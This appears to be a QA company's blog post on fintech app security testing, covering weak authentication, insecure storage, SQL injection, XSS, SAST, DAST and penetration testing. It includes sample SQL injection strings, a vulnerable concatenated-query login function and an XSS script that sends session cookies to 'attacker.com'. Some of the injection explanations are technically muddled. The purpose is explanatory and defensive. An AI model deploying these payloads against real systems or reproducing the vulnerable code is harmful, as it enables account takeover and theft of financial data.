Fintech App Security Testing Strategies: What and How?

Ensure FinTech App Security Through Mobile App Testing Strategies

In an era where financial transactions are increasingly digitized and most of the daily transactions are moving towards online transfers, the security of fintech applications has become even more important. In this blog, we will explore the importance of strict security fintech app testing, the challenges of FinTech apps, and the various strategies we use at Alphabin.

The importance of security in FinTech apps

FinTech apps will be used by a large population throughout the nation or even the world. These applications handle sensitive financial data, which is very important to individuals and any breach could have dire consequences as people could lose their privacy, their banking details, and finally their trust in the platform and eventually the company.

With the fintech industry’s growth, and the rise of AI there’s been an alarming 42% rise in incidents of data breaches and cyber threats amongst FinTech applications. Hence it requires critical need for robust security measures against advanced attacks.

Understanding the Security Challenges in Fintech Apps

Financial apps handle sensitive and lucrative data, making them prime targets for cybercriminals who aim to steal and monetize this information on black markets and the dark web.

Common vulnerabilities include:

1. Weak authentication mechanisms
   Inadequate authentication mechanisms, like weak passwords or lack of multi-factor authentication (MFA), pose the security risks. Robust authentication protocols, such as OAuth 2.0 and OpenID Connect, combined with MFA leveraging biometrics, one-time passwords, or security keys, are important for verifying user identities and preventing unauthorized access. Failure to implement strong authentication mechanisms can enable attackers to compromise accounts and exfiltrate sensitive financial data for nefarious purposes on underground forums.
2. Insecure data storage
   Insecure data storage practices within a Fintech application pose a significant threat to user privacy and financial security.  Here's a deep dive to look at the technical aspects of this vulnerability:
   
   1. Data at Risk:
      Fintech apps typically handle a variety of sensitive user data, including:
      
      • Personally Identifiable Information (PII): Names, addresses, phone numbers, Social Security numbers (depending on location).
      • Financial Information: Account credentials, banking details, transaction history, investment information.
      • Authentication Data: Login credentials, biometric data (for mobile apps).
   2. Insecure Storage Methods:
      Data breaches can occur due to several insecure storage practices:
      
      • Plaintext Storage: Sensitive data is stored unencrypted, making it readily accessible to anyone who gains access to the database.
      • Weak Encryption: Outdated or weak encryption algorithms offer minimal protection against brute-force attacks or decryption with readily available tools. For example, DES (Data Encryption Standard) with a 56-bit key length, weak hash algorithms MD5 or SHA-1, Stream ciphers, and custom encryption solution
      • Inadequate Key Management: Encryption keys are poorly managed, stored unencrypted, or with insufficient access controls, compromising the entire encryption process.
      • Insufficient Access Controls: Unrestricted or poorly defined access controls allow unauthorized users or processes to access sensitive data within the application or database.
   3. Exposure to SQL injection
      SQL injection is a type of cyber attack where malicious SQL queries are inserted into the input fields of a web application, exploiting vulnerabilities in the app's database layer. Attackers can manipulate databases to access, modify, or delete sensitive data.
      ‍
      
      1. Scenario 1: Stealing User Login Credentials (In-band)
         Imagine a login form on a website where you enter your username and password. An attacker might try crafting a username like this:
         
         username = 'admin' AND password = 'anything' -- '

This ordinary looking username contains malicious SQL code (-- denotes a comment, everything after is ignored). If the web application doesn't properly sanitize the input, this code gets injected into the database query trying to verify the login. The resulting SQL query might look something like:

SELECT * FROM users WHERE username = 'admin' AND password = 'anything' -- '

The comment section (--) disables the rest of the password check, allowing the attacker to bypass authentication and potentially access the "admin" account with any password!
      2. Scenario 2: Exfiltrating Data (Out-of-band)
         In another example, imagine a web application for a bank that allows users to view their recent transactions.  An attacker discovers a vulnerability in the search functionality for filtering transactions.  They use a malicious search query like this:
         
         account_number = '12345678' AND (SELECT 1 FROM (SELECT user_name, account_balance FROM accounts WHERE rownum = 1) x) = 1; --'

This is a redundant comparison that always evaluates to true (1=1) but serves a purpose.
      3. Scenario 3: Blind SQL Injection (Boolean-based)
         For a blind SQL injection attack, they might try a series of username login attempts where the username contains specially crafted code.  For instance:
         
         username = 'admin' AND 1=0; --' (This will always be a failed login) username = 'admin' AND 1=1; --' (This might be a successful login)

By analyzing the application's response (e.g., different error messages or slightly longer response times for successful logins), the attacker can slowly determine if their guesses about the database content are correct.  This allows them to potentially extract information bit by bit.
   4. Cross-site scripting attacks
      Cross-site scripting (XSS) is another common web application vulnerability where attackers inject malicious scripts into web pages viewed by other users. In the context of fintech apps, XSS vulnerabilities can be exploited to steal session cookies, let’s see some scenarios
      ‍
      
      1. Scenario 1: Stealing Session Cookies with Stored XSS
         Imagine a discussion forum within a Fintech app where users can exchange investment ideas. An attacker discovers a vulnerability in the forum's comment section that allows them to inject malicious code. They post a seemingly harmless comment containing a script like this:
         
         <script> document.location.href = 'http://attacker.com/stealcookie.php?cookie=' + document.cookie; </script>

The script extracts the user's session cookie, a small piece of data that identifies them to the Fintech app, and it sends the stolen cookie along with the user's browsing session to the attacker's server.This could allow attacker to

         • View account details and balances
         • Initiate unauthorized transactions
         • Transfer funds
         • Change account information
      2. Scenario 2: Account Takeover via Reflected XSS
         Another common XSS attack type is reflected XSS. Imagine a customer service chat window within the Fintech app. The attacker sends a chat message containing a malicious script disguised as a question:
         
         What is my current balance? <script>alert(document.cookie);</script>

If the chat functionality doesn't properly sanitize user input, the script gets reflected in the user's browser as part of the displayed message.
         
         When the user sees the chat message, the script executes within their browser, displaying an alert containing the user's session cookie. The attacker can then copy this cookie and potentially use it for unauthorized account access.
         The consequences of the above-mentioned vulnerabilities are dire
         • Financial losses
           A security breach in a fintech app can lead to significant financial losses for both users and the company. This may include theft of funds from user accounts, fraudulent transactions, or costs associated with remediation and compensation.
         • Reputational harm
           Security breaches can severely damage the reputation of a fintech company. Users may lose trust in the app's ability to protect their sensitive information, leading to a loss of customers and potential partners. Rebuilding a tarnished reputation can be challenging and time-consuming.
         • Regulatory fines and legal actions
           Failing to protect customer data can result in regulatory fines imposed by governing bodies such as financial regulators or data protection authorities. Additionally, affected users may pursue legal action against the company for negligence.
         • Loss of user trust
           Perhaps the most significant consequence of security vulnerabilities in fintech apps is the loss of user trust. If users perceive that their personal and financial information is not adequately protected, they are likely to abandon the app in favor of more secure alternatives.

A FinTech giant’s latest security measure: A step towards safer mobile banking

Recently I read the news that HDFC Bank has recently introduced a significant security update for its mobile banking app, a move that underscores the bank’s dedication to customer safety. The bank security update that was recently heard in the news. I have taken this information from their article.

This mandatory update requires users to verify their mobile number, ensuring that the app is accessed only on devices with a registered SIM card. This measure is a direct response to the evolving landscape of digital banking security, aiming to provide an additional layer of protection against unauthorized access.

Why does this step matter?

The introduction of mandatory app updates and mobile number verification by HDFC Bank is a strategic decision against the increasing threat of cyber fraud. In the world of fintech, staying ahead of security threats is a constant challenge. This latest update is a clear indication of its proactive stance in fortifying its mobile banking services.

How Alphabin can help to secure your FinTech app

Mobile automation testing: An essential strategy for security assurance

We understand how important security stands as an aspect of FinTech applications, but as testers, we have to provide maximum quality over a limited time on our schedule. This is where mobile test automation comes in. Mobile automation testing streamlines the testing of features and updates, providing an agile and reliable mechanism to identify vulnerabilities in FinTech apps.

Mobile test automation’s primary boons are delivering consistency, speed, and comprehensive coverage. It maintains uniformity in testing procedures, minimizing the risk of oversight or human error. Additionally, automation testing expedites the testing cycle, allowing FinTech companies to swiftly deploy updates without compromising security and release faster to beat competition.

Mobile testing strategies we use to make Fintech apps secure

Let’s get down to the main section of this blog. Get a look into various important mobile app testing strategies followed by top QA to maintain security in FinTech applications.

• Static Application Security Testing (SAST)
  SAST tools scrutinize the source code to detect potential security vulnerabilities before the application is run. By examining the codebase, SAST can identify issues such as SQL injection, buffer overflows, and insecure library usage.
  ‍The importance of integrating SAST into the development pipeline is for:
  • Early detection of security issues.
  • Allowing developers to address vulnerabilities during the coding phase.
  • Reduce the risk of security breaches post-deployment.
    ‍
  Let’s take an example.
  Imagine a code for a simple login system. A critical part is validating that the username and password entered by the user are valid. Here's a simple example of potentially vulnerable code:
  ‍
  def login(username, password):  
# Simplified (insecure) code
# Check if username exists in database  cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")
# Check if password matches  cursor.execute("SELECT * FROM users WHERE password = '" + password + "'")
# Grant access if both checks pass…
‍‍
  This code might seem okay at first, but it has a security vulnerability. The username and password are directly inserted into the SQL queries, making it susceptible to SQL injection attacks. An attacker could craft a malicious username that tricks the database into revealing sensitive information or even modifying data.
  ‍
  Here's where SAST comes in:
  A SAST tool would analyze this code and identify the problematic way user input is being handled. It would flag these lines:
  ‍
  ‍cursor.execute("SELECT * FROM users WHERE username = '" + username + "'")‍cursor.execute("SELECT * FROM users WHERE password = '" + password + "'")
‍
The SAST tool would warn the developer that this approach is insecure and recommend using parameterized queries, which prevent SQL injection by separating data from the SQL statement itself.

• Dynamic Application Security Testing (DAST)
  The second technique is the DAST technique. This technique involves testing an application while it is running. This method is effective in identifying security flaws that only become apparent during operation, such as runtime errors and authentication issues.Let’s discuss the benefits of DAST:
  • Ability to simulate real-world attacks.
  • Provide developers with actionable insights.
  • A hands-on approach gives the practical scenario of an attack.
    ‍
  Let's consider a hypothetical web application called “SecureBank” that provides online banking services. We’ll use DAST to identify potential security vulnerabilities.
  1. Setup: First, we need to have the SecureBank application up and running. The DAST tool needs a running instance of the application to perform the testing.
  2. Spidering/Crawling: The DAST tool starts by spidering the application. It navigates through all the pages and functionalities of the SecureBank application to understand its structure and identify the points where it can inject test data.
  3. Test Execution: After the spidering phase, it sends various types of malicious inputs to the application to see if it can exploit any security vulnerabilities. For example, it might try SQL injection attacks on input fields to see if it can manipulate the application’s database. If the DAST tool finds that a particular input field in the SecureBank application is vulnerable to SQL injection, it means that an attacker could potentially manipulate the SQL queries that the application makes to its database, leading to data theft or other serious issues.
  4. Reporting: The DAST tool provides a detailed report of its findings. This report includes the vulnerabilities it found (like the SQL Injection vulnerability), the inputs it used to exploit them, the part of the application where the vulnerabilities were found, and recommendations for fixing them.
     ‍
• Penetration Testing
  Penetration testing is a proactive approach to assessing the posture of fintech app security. It involves ethical hackers attempting to exploit vulnerabilities in order to understand the potential impact of an attack.If you are new to penetration testing, we highly recommend reading our blog, What is Penetration Testing?
  ‍
  The benefits of automation tools for penetration testing:
  • Receive massive test coverage and consistency.
  • Helps in systematically identifying issues.
  • Assists in exploiting security gaps.
    ‍
  Now let’s create a scenario where penetration testing will come in handy and what the course of action for penetration testing is.
  ‍
  ‍Scenario: A fintech company has developed a new mobile banking app and wants to ensure it is secure before launch. They decide to use penetration testing services.
  ‍The course of action:
  ‍
  1. Planning: The company defines the scope and goals of the test, this scope will include the systems to be tested and the various methods to be used.
  2. Reconnaissance: Ethical hackers gather information about the app to find potential entry points. They may use automated tools to scan for known vulnerabilities.
  3. Discovery: The testers attempt to exploit the vulnerabilities to understand the potential impact. For example, they might try SQL injection to access the database.
  4. Exploitation: If a vulnerability is successfully exploited, the testers try to escalate privileges or access sensitive data, simulating what a malicious hacker could do.
  5. Reporting: The findings, including the vulnerabilities discovered and the data accessed, are compiled into a report for the fintech company.
  6. Remediation: Based on the report, the company addresses the vulnerabilities, perhaps by patching software or changing configurations.

Conclusion

The advent of mobile automation testing marks a significant advancement in ensuring the security of fintech applications. The strategic implementation of SAST, DAST, and penetration testing is not just a procedural step, but a fundamental aspect of the development process. These methodologies serve as critical checkpoints, identifying vulnerabilities and reinforcing the application’s defenses against potential cyber threats.

It is essential for fintech organizations to recognize the importance of security mobile app testing within their software development life cycle. Prioritizing these practices is not only a measure of due diligence but also a reflection of the company’s commitment to safeguarding user data and financial assets.